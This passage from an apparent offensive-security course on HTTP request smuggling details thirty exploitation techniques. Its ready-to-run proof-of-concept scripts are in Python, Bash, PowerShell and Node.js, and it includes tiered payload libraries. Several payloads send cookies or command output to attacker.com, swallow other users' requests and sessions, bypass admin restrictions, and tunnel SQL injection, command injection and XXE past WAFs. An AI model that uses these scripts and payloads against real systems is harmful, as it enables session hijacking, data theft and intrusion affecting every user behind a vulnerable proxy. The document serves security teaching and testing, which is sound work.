What is wrong: the developer accepts the default body parser. The default parser in older Node.js versions accepted requests with both Content-Length and Transfer-Encoding without rejecting them, opening the smuggling vector. Modern Node.js (>= 20.x) rejects this, but only if the developer keeps Node updated.

Java (Spring Boot / Tomcat) on the back-end

java
// AnasMarketController.java
// Apache Tomcat had CVE-2023-45648, CVE-2024-21733.
// This code is "fine" but runs on a vulnerable Tomcat.

@RestController
public class AnasMarketController {

    @PostMapping("/order")
    public ResponseEntity<String> placeOrder(@RequestBody OrderDto order) {
        // No raw-request inspection.
        // Tomcat parsed it. If Tomcat is older than 9.0.83 or 10.1.16,
        // it may have accepted ambiguous trailer headers.
        orderService.placeOrder(order);
        return ResponseEntity.ok("Order placed");
    }
}

What is wrong: the developer trusts Tomcat's request parsing. Tomcat versions before the fix in 9.0.83 / 10.1.16 mishandled trailer headers and chunked encoding. The application code is correct, but the platform is the bug.

C# (.NET Core / Kestrel) on the back-end

csharp
// CVE-2025-55315: ASP.NET Core Kestrel chunk-extension smuggling.
// The application code is correct. The Kestrel runtime is the bug.

[HttpPost("payment")]
public IActionResult ProcessPayment([FromBody] PaymentRequest req)
{
    // No raw socket inspection. Trusts Kestrel.
    // Kestrel versions before 8.0.x / 9.0.x patch (October 2025)
    // mis-parsed chunk extensions with mixed \r, \n, \r\n.
    _paymentService.Process(req);
    return Ok();
}

What is wrong: Kestrel's chunk-extension parser accepted single `\n` as a chunk-line terminator in some positions, while upstream proxies treated only `\r\n` as terminator. The combination smuggled requests through. Patching Kestrel fixes it; the application code never had to change.

The universal pattern across languages

Smuggling is rarely caused by application code. The universal pattern is:

  • 1. Two HTTP servers in the request chain.
  • 2. They run different parsing libraries.
  • 3. One parser is more strict than the other on at least one byte-level detail.
  • 4. The application code does not re-inspect the raw request and never knows.

The fix is at the protocol layer (HTTP/2 end to end), the proxy layer (normalize headers, reject ambiguity, disable connection reuse), or the runtime layer (keep the back-end server patched).

SECTION 10. Detection

Detection of smuggling has two phases: a fast timing-based probe to find a candidate, then a differential-response confirmation to prove it. Never report smuggling on timing alone. Always confirm with a differential response.

Manual detection step by step

  • Step 1. Identify the architecture. Look at response headers for `Via:`, `X-Cache:`, `X-Forwarded-For:`, `Server:`, `CF-Ray:` (Cloudflare), `X-Amz-Cf-Id:` (CloudFront), `X-Azure-Ref:` (Azure Front Door), or `Akamai-*` headers. If you see any of these, there is more than one server in the chain.
  • Step 2. Find a POST endpoint that returns reliably (200, 302). Login pages, search endpoints, comment endpoints, anything accepting POST.
  • Step 3. Send a baseline POST and measure response time. Repeat 3-5 times. Note the median.
  • Step 4. Send the CL.TE timing probe (front-end CL, back-end TE):
http
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

The front-end reads Content-Length: 4 and forwards `1\r\nA\r\n` (4 bytes). The back-end uses TE, reads chunk size 1, takes 1 byte (`A`), then expects the next chunk size. It sees `X` and waits for the rest of the chunk header. Timeout = CL.TE.

  • Step 5. Send the TE.CL timing probe (front-end TE, back-end CL):
http
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0


X

The front-end reads TE: chunked, sees `0\r\n\r\n`, ends the request. Sends just headers + `0\r\n\r\n`. The back-end reads CL: 6, expects 6 more bytes, hangs. Timeout = TE.CL.

  • Step 6. If neither probe produces a delay, try obfuscated variants (TE.TE). Examples in Section 11.
  • Step 7. Confirm with differential responses. Send a smuggling request that causes a clearly different status code on the next request through the same TCP connection.

Burp Suite step by step

  • 1. Install Burp Suite Professional 2025.x or newer. Smuggler v3 is built in.
  • 2. Browse the target through Burp to populate Proxy history.
  • 3. Right-click a POST request and send to Repeater.
  • 4. In Repeater, find the request you want to test. Open the Inspector panel (right side).
  • 5. In Inspector ==> Request attributes ==> Protocol ==> change from HTTP/2 to HTTP/1.1. This is essential for classic smuggling probes.
  • 6. In Repeater menu (top bar), uncheck "Update Content-Length". You must control the exact byte count yourself.
  • 7. Enable "Show non-printables" (top right toolbar in Repeater) so you can see `\r\n` markers, tabs, and trailing whitespace.
  • 8. Build the smuggling probe. Count your bytes carefully. Every `\r\n` is 2 bytes. Every space is 1 byte.
  • 9. Send the request. Time it. If you see a 30+ second delay where the baseline was 100ms, you have a candidate.
  • 10. For confirmation, send a smuggling payload that should cause the NEXT request to receive a 404. Send the smuggling request, then immediately send a normal request on the same connection (or in the same Burp tab in quick succession). If the second response is 404, smuggling is confirmed.

Automated tools

Quick command-line scripts

A bare-metal Python probe (no dependencies beyond standard library):

python
#!/usr/bin/env python3
import socket
import ssl
import time

target = "anasmarket.anastech.com"
probe = (
    "POST / HTTP/1.1\r\n"
    f"Host: {target}\r\n"
    "Content-Length: 4\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "1\r\n"
    "A\r\n"
    "X"
)

ctx = ssl.create_default_context()
start = time.time()
with socket.create_connection((target, 443), timeout=20) as sock:
    with ctx.wrap_socket(sock, server_hostname=target) as tls:
        tls.sendall(probe.encode())
        try:
            data = tls.recv(4096)
        except socket.timeout:
            elapsed = time.time() - start
            print(f"TIMEOUT after {elapsed:.1f}s ==> probable CL.TE")
            exit()

elapsed = time.time() - start
print(f"Response in {elapsed:.2f}s")
print(data.decode(errors="replace")[:300])

A curl + timeout probe:

bash
# Use --raw to keep our exact bytes
time printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\nX' | \
  timeout 20 openssl s_client -connect target.com:443 -servername target.com -quiet 2>/dev/null

If `time` reports 20s and `timeout` killed it, CL.TE timing matches.

Indicators of vulnerability

  • The response time for a TE-headered probe is dramatically different from a CL-headered probe.
  • A second request on the same connection returns an unexpected status (404, 400, 502).
  • Random users receive responses for URLs they never requested.
  • The server's response includes data that does not match the request (someone else's data).
  • Burp's HTTP Request Smuggler reports "Confirmed" (not "Probable").
  • The site uses both HTTP/2 to clients and HTTP/1.1 to back-end (HTTP downgrade chain).
  • Connection: Keep-Alive headers and a CDN in front of an unpatched back-end (Tomcat < 10.1.16, Node < 20, IIS, old Nginx).

SECTION 11. Exploitation

This section is the heart of the course. Twenty-eight exploitation techniques, each one mapped to a concrete impact. Master them in order.

Workflow

  • Step 1. Confirm smuggling using a differential response (Section 10).
  • Step 2. Decide your target: bypass a security control, steal another user's data, poison a cache, or chain into another vulnerability.
  • Step 3. Choose the technique below that matches your target.
  • Step 4. Build the payload, count bytes precisely, send through Burp Repeater on HTTP/1.1 with "Update Content-Length" off.
  • Step 5. Confirm impact by observing the next request's response.

Technique 1. Basic CL.TE smuggling

The most common variant. Front-end uses Content-Length, back-end uses Transfer-Encoding.

http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Result: `SMUGGLED` glues onto the next request. Confirm with `GET /404`:

http
POST / HTTP/1.1
Host: target.com
Content-Length: 32
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-foo: X

Second send returns 404 = CL.TE confirmed.

Technique 2. Basic TE.CL smuggling

Front-end uses Transfer-Encoding, back-end uses Content-Length.

http
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end reads chunked: chunk size 8 = `SMUGGLED`, then chunk 0 ends. Forwards full body. Back-end reads CL: 3, takes only `8\r\n`. The rest is the next request.

Technique 3. TE.TE obfuscation (header duplication)

Both servers speak Transfer-Encoding. You make one of them ignore one of the headers by sending two.

http
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: xchunked

0

SMUGGLED

Server A picks the first TE, treats as chunked. Server B picks the last TE, treats as invalid and falls back to CL. Desync.

Technique 4. TE.TE via tab character

http
Transfer-Encoding:[TAB]chunked

Server A treats `\t` as valid whitespace per RFC 9110. Server B treats `\t` as part of the value and reads `\tchunked` as an unknown encoding. Falls back.

Technique 5. TE.TE via leading space

http
[SPACE]Transfer-Encoding: chunked

Some parsers reject any header with leading whitespace. Others trim it and process normally.

Technique 6. TE.TE via case manipulation

http
Transfer-encoding: chunked

Some legacy parsers do case-sensitive header matching despite the RFC. They miss this and fall back to CL.

Technique 7. TE.TE via "xchunked" or other prefix

http
Transfer-Encoding: xchunked

A strict parser rejects unknown encodings. A lenient parser sees `chunked` substring and accepts. The pair disagrees.

Technique 8. TE.TE via line folding (CVE-2025-32094, CVE-2025-43859)

http
Transfer-Encoding:
 chunked

The continuation line (a space at the start of the next line) was valid in old HTTP/1.0 but is obsolete in HTTP/1.1. Some parsers still accept it. Akamai and Python h11 were caught here in 2025.

Technique 9. Bypassing front-end security controls

The back-end usually trusts the front-end. You smuggle an admin path:

http
POST / HTTP/1.1
Host: target.com
Content-Length: 70
Transfer-Encoding: chunked

0

GET /admin/users HTTP/1.1
Host: target.com
X-foo: X

The back-end processes `/admin/users` without WAF inspection. Sensitive data returned to attacker.

Technique 10. Bypassing IP-based admin restrictions via Host header

The back-end's `/admin` is only accessible from `localhost`. You smuggle a request with `Host: localhost`:

http
POST / HTTP/1.1
Host: target.com
Content-Length: 70
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-foo: X

The back-end thinks the request came from localhost (because it parses Host from the smuggled request). Admin access granted.

Technique 11. Capturing other users' requests

Smuggle a POST to `/comment` with `Content-Length` larger than the actual body. The body starts with `comment=`. The next user's full request becomes the rest of the comment value.

http
POST / HTTP/1.1
Host: target.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /post-comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=ATTACKER_COOKIE

comment=

The next user's request bytes fill in after `comment=`. Refresh your comments page. You see their session cookie, their request body, their Authorization headers.

Technique 12. Delivering reflected XSS to other users

The target reflects `User-Agent` in the response (or any request header). You smuggle a request with a malicious User-Agent:

http
POST / HTTP/1.1
Host: target.com
Content-Length: 300
Transfer-Encoding: chunked

0

GET / HTTP/1.1
Host: target.com
User-Agent: <script>document.location='https://attacker.com/?c='+document.cookie</script>
X-foo: X

The next user's request is processed AFTER your smuggled request on the same connection, but they receive the response that comes back NEXT, which is the response to your smuggled `GET /`. They see the XSS payload reflected and execute it.

Technique 13. Web cache poisoning via smuggling

Smuggle a request to a popular URL that produces a malicious response. The cache (Varnish, CloudFront) stores the malicious response under that URL's cache key. Every visitor gets the malicious response.

http
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-foo: X

The back-end uses `X-Forwarded-Host` to generate canonical links, returning an HTML page with `<base href="https://attacker.com/">`. The cache stores it. Every subsequent visit to `/home` loads scripts from attacker.com.

Technique 14. Web cache deception via smuggling

The cache caches based on file extension (`.css`, `.js`). The back-end serves dynamic content under the same URL. Smuggle to confuse the cache key:

http
POST / HTTP/1.1
Host: target.com
Content-Length: 90
Transfer-Encoding: chunked

0

GET /account.css HTTP/1.1
Host: target.com
X-foo: X

The back-end ignores the `.css` and returns the user's account page. The cache stores the account page under `/account.css`. Any other user fetching `/account.css` sees the victim's account.

Technique 15. Response queue poisoning (H2.TE)

If you can desync the back-end's response queue, requests and responses pair up wrong. Random users get random responses. With HTTP/2 to the front-end and HTTP/1.1 to the back-end, you smuggle a request that causes the back-end to send TWO responses for one apparent request.

text
HTTP/2 request (CL pseudo-header lies)
   |
   v
Downgrade to HTTP/1.1 with CL ambiguity
   |
   v
Back-end processes 2 requests but front-end forwarded 1
   |
   v
Response queue has an extra response that gets sent to the NEXT user

The next user's request triggers a response, but they receive the LEFTOVER response from your smuggling. Random users see admin pages.

Technique 16. H2.CL request smuggling

In HTTP/2, the request length is given by frame size, not by a Content-Length header. But if the front-end forwards the request to an HTTP/1.1 back-end and includes a Content-Length pseudo-header from your HTTP/2 request, you can make the CL lie.

text
HEADERS frame:
  :method: POST
  :path: /
  :authority: target.com
  content-length: 0

DATA frame:
  SMUGGLED

Front-end honors the HTTP/2 frame boundary (DATA frame ends the request). Back-end downgrades to HTTP/1.1, reads `Content-Length: 0`, treats body as empty, and `SMUGGLED` is the start of the next request.

Technique 17. H2.TE request smuggling

HTTP/2 forbids Transfer-Encoding. Some front-ends ignore the rule and forward TE to the back-end. Combined with a downgrade, you can smuggle.

text
HEADERS frame:
  :method: POST
  :path: /
  :authority: target.com
  transfer-encoding: chunked

DATA frame:
  0\r\n\r\nSMUGGLED

Back-end uses TE, ends at `0\r\n\r\n`, treats `SMUGGLED` as the next request.

Technique 18. HTTP/2 CRLF injection

HTTP/2 uses binary framing, not text. CRLF (`\r\n`) has no special meaning in HTTP/2. But when the front-end downgrades to HTTP/1.1, the back-end DOES treat `\r\n` as a delimiter. Smuggle a header that contains `\r\n` and split the request.

text
HEADERS frame:
  foo: bar\r\nContent-Length: 0\r\n\r\nGET /admin HTTP/1.1\r\nX: x

Front-end accepts (HTTP/2 allows arbitrary bytes in header values). Back-end downgrades to:

text
foo: bar
Content-Length: 0

GET /admin HTTP/1.1
X: x

The back-end now sees TWO requests. The second one is your smuggled `GET /admin`.

Technique 19. HTTP/2 request splitting via CRLF in header name

text
HEADERS frame:
  foo\r\nbar: baz

If the front-end's HTTP/2 parser allows arbitrary bytes in header names (it should not, per RFC 7540, but some do), and the back-end downgrades by joining name and value with `:`, you split the request again.

Technique 20. CL.0 smuggling

The back-end ignores Content-Length entirely for certain HTTP methods or paths (often GET or static files). Anything after the headers is treated as the next request.

http
POST /static/file.txt HTTP/1.1
Host: target.com
Content-Length: 50

GET /admin HTTP/1.1
Host: localhost
X:

The back-end serves the static file (ignoring body), then reads `GET /admin` as the next request. Smuggled.

Technique 21. TE.0 smuggling (Google Cloud 2024)

Some back-ends ignore Transfer-Encoding entirely and treat the body as zero-length. Same exploitation as CL.0 but triggered by TE rather than CL.

http
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5
ABCDE
0

GET /admin HTTP/1.1
Host: localhost
X:

The back-end ignores TE, treats body as zero, reads `GET /admin` as the next request.

Technique 22. 0.CL smuggling

The back-end ignores both headers and waits for an explicit chunk terminator OR closes the connection on body. Specific to certain edge cases in HTTP/2 downgrade chains.

Technique 23. Chunk-extension smuggling (CVE-2025-55315 Kestrel)

Chunked encoding allows extensions on the chunk size line, separated by `;`:

text
5;foo=bar
ABCDE
0

Parsers handle extensions differently. Kestrel allowed `\n` (not `\r\n`) to terminate the chunk extension line. The upstream proxy required `\r\n`. Mismatched parsers, smuggling.

http
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5;foo=
SMUGGLEDGET /admin HTTP/1.1
Host: x

0

Technique 24. OPTIONS + body smuggling (CVE-2025-54142 Akamai)

The OPTIONS HTTP method does not normally carry a body. Some origin servers fail to read the body even if Content-Length is set. The proxy forwards the body but the origin treats it as the next request.

http
OPTIONS / HTTP/1.1
Host: target.com
Content-Length: 60

GET /admin HTTP/1.1
Host: target.com
X: x

Origin reads `OPTIONS /`, returns Allow header, never consumes body. The body becomes the next request.

Technique 25. Client-side desync (CSD) (CVE-2024-21733 Tomcat)

A normal browser-compatible Content-Length-only request, but the back-end stops reading the body earlier than expected. The leftover bytes desync the browser's own connection. The victim's own browser sends them. No proxy needed.

This requires fetch() with `Connection: keep-alive` and tricking the browser into reusing the desynced connection. Browser-powered. Requires no front-end vulnerability.

Technique 26. Pause-based desync (server-side)

You start sending a chunked request but pause mid-stream. The front-end times out the read and closes the back-end connection. But before closing, leftover bytes have already been sent. The next request on the same back-end connection (in another front-end thread) gets the leftover.

Requires precise timing control. Burp Turbo Intruder is essential here.

Technique 27. HTTP/2 request tunnelling

Through HTTP/2-to-HTTP/1.1 downgrade, you can tunnel a complete second request inside what the front-end sees as one request. The back-end treats it as two. This is broader than smuggling: even non-smuggling-vulnerable back-ends can be tunnelled if the front-end fails to validate downgraded requests.

Technique 28. CL.TE with chunked extensions for WAF bypass

You combine CL.TE with chunk extensions to defeat WAF inspection of the body. The WAF reads the first chunk only. The back-end reads further and processes a smuggled SQL injection.

http
POST / HTTP/1.1
Host: target.com
Content-Length: 60
Transfer-Encoding: chunked

3;a=b
abc
0

' UNION SELECT 1,password FROM users--

WAF reads `abc` (clean). Back-end keeps reading and sees the SQL.

Technique 29. Parser-discrepancy fuzzing (2025 frontier)

The newest vectors come from fuzzing parser pairs against each other. Tools like smugglefuzz, the Smuggler v3 in Burp, and Kettle's Turbo Intruder scripts test thousands of header permutations to find any one-bit difference between parsers.

You will not invent these by hand. Run the tools and look for "Confirmed" results. The novel vectors that come out are 0-days.

Technique 30. ALPN protocol confusion

If the front-end speaks HTTP/2 but the back-end accepts HTTP/1.1 cleartext on the same port, sometimes via ALPN misconfiguration you can speak HTTP/1.1 to a port expecting HTTP/2. Mixed-protocol smuggling.

SECTION 12. Proof of Concept

A clean PoC for CL.TE smuggling in five languages and tool integrations.

Burp Suite step by step (CL.TE confirmation PoC)

  • 1. Open Burp Suite Pro. Proxy through Burp. Browse the target.
  • 2. Send a POST request to Repeater.
  • 3. In Repeater ==> Inspector ==> Request attributes ==> Protocol: change to HTTP/1.1.
  • 4. Repeater menu ==> uncheck "Update Content-Length".
  • 5. Enable "Show non-printables" (top right toolbar).
  • 6. Replace the request body with the CL.TE confirmation payload:
http
POST / HTTP/1.1
Host: anasmarket.anastech.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-foo: X
  • 7. Make sure there are exactly two `\r\n` after `Transfer-Encoding: chunked` (one to end the header, one to separate from body).
  • 8. After `0` make sure there is `\r\n\r\n` (the chunk terminator).
  • 9. After `X-foo: X` make sure there is `\r\n` (so the header is well-formed).
  • 10. Click Send TWICE in rapid succession. The first send returns 200 OK. The second send returns 404 Not Found. Smuggling confirmed.

If the second send does NOT return 404, count your bytes again. The most common mistake is wrong `Content-Length`. Each `\r\n` is 2 bytes. Spaces are 1 byte each.

Python PoC (raw sockets)

python
#!/usr/bin/env python3
"""
HTTP Request Smuggling CL.TE Proof of Concept.
Usage: python3 cl_te_poc.py target.com 443
"""

import socket
import ssl
import sys
import time

def smuggle_cl_te(host, port=443, use_tls=True):
    smuggled = (
        b"GET /404 HTTP/1.1\r\n"
        b"X-foo: X\r\n\r\n"
    )
    body = b"0\r\n\r\n" + smuggled
    
    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode() + body
    
    print(f"[+] Request size: {len(request)} bytes")
    print(f"[+] Body size declared: {len(body)} bytes")
    
    sock = socket.create_connection((host, port), timeout=10)
    if use_tls:
        ctx = ssl.create_default_context()
        sock = ctx.wrap_socket(sock, server_hostname=host)
    
    # First send
    print("[+] Sending smuggling request...")
    sock.sendall(request)
    response1 = sock.recv(4096)
    print("[+] Response 1 (first 200 chars):")
    print(response1.decode(errors="replace")[:200])
    
    time.sleep(0.5)
    
    # Second send (innocent GET)
    print("\n[+] Sending innocent follow-up GET...")
    follow = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()
    sock.sendall(follow)
    response2 = sock.recv(4096)
    print("[+] Response 2 (first 200 chars):")
    print(response2.decode(errors="replace")[:200])
    
    sock.close()
    
    if b"404" in response2[:30]:
        print("\n[!!] CL.TE SMUGGLING CONFIRMED")
    else:
        print("\n[--] No 404 on second request. Check byte counts.")

if __name__ == "__main__":
    smuggle_cl_te(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 443)

Bash PoC

bash
#!/bin/bash
# CL.TE smuggling probe.
# Requires: openssl

TARGET="${1:-target.com}"
PORT="${2:-443}"

printf 'POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: 32\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\n\r\n0\r\n\r\nGET /404 HTTP/1.1\r\nX-foo: X\r\n\r\nGET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n' "$TARGET" "$TARGET" | \
  openssl s_client -connect "$TARGET:$PORT" -servername "$TARGET" -quiet -ign_eof 2>/dev/null | \
  grep -E "HTTP/1.1"

Look for two `HTTP/1.1` lines. The second should be `HTTP/1.1 404`.

PowerShell PoC

powershell
# CL.TE smuggling PoC for Windows.
$target = "target.com"
$port = 443

$body = "0`r`n`r`nGET /404 HTTP/1.1`r`nX-foo: X`r`n`r`n"
$bodyBytes = [System.Text.Encoding]::ASCII.GetBytes($body)
$contentLength = $bodyBytes.Length

$headers = "POST / HTTP/1.1`r`nHost: $target`r`nContent-Length: $contentLength`r`nTransfer-Encoding: chunked`r`nConnection: keep-alive`r`n`r`n"

$client = New-Object System.Net.Sockets.TcpClient($target, $port)
$stream = $client.GetStream()
$ssl = New-Object System.Net.Security.SslStream($stream, $false)
$ssl.AuthenticateAsClient($target)

$bytes = [System.Text.Encoding]::ASCII.GetBytes($headers) + $bodyBytes
$ssl.Write($bytes, 0, $bytes.Length)

$buf = New-Object byte[] 4096
$read = $ssl.Read($buf, 0, $buf.Length)
$resp = [System.Text.Encoding]::ASCII.GetString($buf, 0, $read)
Write-Host "Response 1:"
Write-Host $resp.Substring(0, [Math]::Min(300, $resp.Length))

Start-Sleep -Milliseconds 500

$follow = "GET / HTTP/1.1`r`nHost: $target`r`nConnection: close`r`n`r`n"
$followBytes = [System.Text.Encoding]::ASCII.GetBytes($follow)
$ssl.Write($followBytes, 0, $followBytes.Length)

$read2 = $ssl.Read($buf, 0, $buf.Length)
$resp2 = [System.Text.Encoding]::ASCII.GetString($buf, 0, $read2)
Write-Host "`nResponse 2:"
Write-Host $resp2.Substring(0, [Math]::Min(300, $resp2.Length))

if ($resp2 -match "HTTP/1.1 404") {
  Write-Host "`n[!!] CL.TE SMUGGLING CONFIRMED"
}

$ssl.Close()
$client.Close()

Node.js PoC

javascript
// CL.TE smuggling PoC.
// Usage: node smuggle.js target.com

const tls = require('tls');

const host = process.argv[2] || 'target.com';
const port = 443;

const smuggled = 'GET /404 HTTP/1.1\r\nX-foo: X\r\n\r\n';
const body = `0\r\n\r\n${smuggled}`;
const headers = `POST / HTTP/1.1\r\nHost: ${host}\r\nContent-Length: ${Buffer.byteLength(body)}\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\n\r\n`;

const sock = tls.connect({ host, port, servername: host }, () => {
  sock.write(headers + body);
});

let responses = '';
sock.on('data', (chunk) => {
  responses += chunk.toString();
  if (responses.match(/HTTP\/1\.1 \d{3}.*\r\n\r\n.*HTTP\/1\.1 \d{3}/s)) {
    console.log(responses.slice(0, 800));
    sock.end();
  }
});

setTimeout(() => {
  sock.write(`GET / HTTP/1.1\r\nHost: ${host}\r\nConnection: close\r\n\r\n`);
}, 500);

sock.on('error', console.error);

Burp Turbo Intruder PoC for pause-based desync

python
def queueRequests(target, wordlist):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=1,
                           pipeline=False)
    
    # Pause halfway through the body for desync timing
    attack = '''POST / HTTP/1.1
Host: target.com
Content-Length: 50
Transfer-Encoding: chunked
Connection: keep-alive

20
'''
    
    follow = '''GET / HTTP/1.1
Host: target.com
Connection: close

'''
    
    engine.queue(attack, gate='race1', learn=False)
    engine.queue(follow, gate='race1', learn=False)
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Run inside Burp ==> Extender ==> Turbo Intruder.

SECTION 13. Payloads

Smuggling payloads have to be precise. Every `\r\n` is 2 bytes. Wrong counts mean no exploit. Organized by tier.

Tier 1: Basic detection probes

text
==========================================================
# CL.TE timing probe (back-end uses TE, hangs on bad chunk)
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X
text
==========================================================
# TE.CL timing probe (back-end uses CL, hangs waiting)
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0


X
text
==========================================================
# CL.TE confirmation via differential response
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 32
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-foo: X
text
==========================================================
# TE.CL confirmation via differential response
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

71
GET /404 HTTP/1.1
Host: target.com
Content-Length: 14

x=1
0

Tier 2: TE.TE obfuscation library

text
==========================================================
# Each of these tries one obfuscation trick.
# Pair with chunked body. Send to find which combination
# triggers a parser mismatch.
==========================================================

# 1. Tab after colon
Transfer-Encoding:[TAB]chunked

# 2. Leading space on header name
[SPACE]Transfer-Encoding: chunked

# 3. Mixed case
TRANSFER-ENCODING: chunked
transfer-Encoding: CHUNKED

# 4. Underscore variation
Transfer_Encoding: chunked

# 5. Prefix invalidation
Transfer-Encoding: xchunked
Transfer-Encoding: chunkedx
Transfer-Encoding: cow

# 6. Duplicate header, second value invalid
Transfer-Encoding: chunked
Transfer-Encoding: x

# 7. Line folding (CVE-2025-32094)
Transfer-Encoding:
 chunked

# 8. Header with bare CR
Transfer-Encoding: chunked[CR]Junk: x

# 9. Multi-value
Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked

# 10. Vertical tab
Transfer-Encoding:[VT]chunked

# 11. Form feed
Transfer-Encoding:[FF]chunked

# 12. NULL byte
Transfer-Encoding:[NULL]chunked

Tier 3: Advanced attack payloads

text
==========================================================
# Bypass front-end /admin path filter
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 75
Transfer-Encoding: chunked

0

GET /admin/dashboard HTTP/1.1
Host: target.com
X-foo: X
text
==========================================================
# Bypass IP-based admin restriction
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 60
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-foo: X
text
==========================================================
# Capture other users' requests via comment swallow
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 250
Transfer-Encoding: chunked

0

POST /post-comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=ATTACKER_SESSION
Content-Length: 600

comment=
text
==========================================================
# Deliver reflected XSS to next user
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 220
Transfer-Encoding: chunked

0

GET / HTTP/1.1
Host: target.com
User-Agent: <script>fetch('https://attacker.com/?c='+document.cookie)</script>
X-foo: X
text
==========================================================
# Web cache poisoning with attacker host
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-foo: X
text
==========================================================
# Chunk-extension smuggling (CVE-2025-55315 Kestrel style)
==========================================================
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5;foo=bar
hello
0

SMUGGLEDGET /admin HTTP/1.1
Host: x
X: X
text
==========================================================
# OPTIONS + body smuggling (CVE-2025-54142 Akamai style)
==========================================================
OPTIONS / HTTP/1.1
Host: target.com
Content-Length: 60

GET /admin HTTP/1.1
Host: target.com
X: x
text
==========================================================
# CL.0 smuggling against static-file path
==========================================================
POST /static/file.png HTTP/1.1
Host: target.com
Content-Length: 50

GET /admin HTTP/1.1
Host: target.com
X: X
text
==========================================================
# H2.CL: HTTP/2 lying Content-Length
# (sent via Burp HTTP/2 raw view)
==========================================================
:method     POST
:path       /
:authority  target.com
content-length  0

GET /admin HTTP/1.1
Host: target.com
X: X
text
==========================================================
# H2.TE: HTTP/2 forbidden Transfer-Encoding
==========================================================
:method     POST
:path       /
:authority  target.com
transfer-encoding  chunked

0

GET /admin HTTP/1.1
Host: target.com
X: X
text
==========================================================
# HTTP/2 CRLF injection in header value
==========================================================
:method     POST
:path       /
:authority  target.com
foo         bar\r\nContent-Length: 0\r\n\r\nGET /admin HTTP/1.1\r\nX: x

Tier 4: WAF bypass via smuggling tunnel

text
==========================================================
# Tunnel SQL injection past AWS WAF
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 50
Transfer-Encoding: chunked

3
abc
0

' UNION SELECT 1,password FROM users-- -
text
==========================================================
# Tunnel command injection past Cloudflare
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 30
Transfer-Encoding: chunked

3
xyz
0

cmd=$(curl attacker.com/$(whoami))
text
==========================================================
# Tunnel XXE past WAF
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 40
Transfer-Encoding: chunked

3
xyz
0

<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>

Tier 5: 2025 frontier payloads (parser discrepancy)

These exploit specific 2025 CVEs. Use Burp Smuggler v3 to actually find them; these are the patterns.

text
==========================================================
# CVE-2025-43859 h11 line folding
==========================================================
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding:
 chunked

GET /
text
==========================================================
# CVE-2025-32094 Akamai OPTIONS + line folding
==========================================================
OPTIONS / HTTP/1.1
Host: target.com
Content-Length:
 50

GET /admin HTTP/1.1
Host: x
X:
text
==========================================================
# CVE-2025-55315 Kestrel chunk-extension with bare LF
==========================================================
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5;a=b[LF]
hello
0

GET /admin HTTP/1.1
Host: x
X: x

SECTION 14. Wordlists and Payload Libraries

SECTION 15. Impact

Smuggling almost never has "low" impact. The minimum is bypassing a WAF; the maximum is full account takeover for every user behind the load balancer.

  • 1. Bypassing security controls at the front-end (WAF, rate limiting, path filters, authentication enforced at the edge).
  • 2. Bypassing IP-based access restrictions by spoofing Host header to the back-end.
  • 3. Capturing other users' HTTP requests including cookies, Authorization headers, API keys, CSRF tokens.
  • 4. Hijacking authenticated sessions and performing actions as another user.
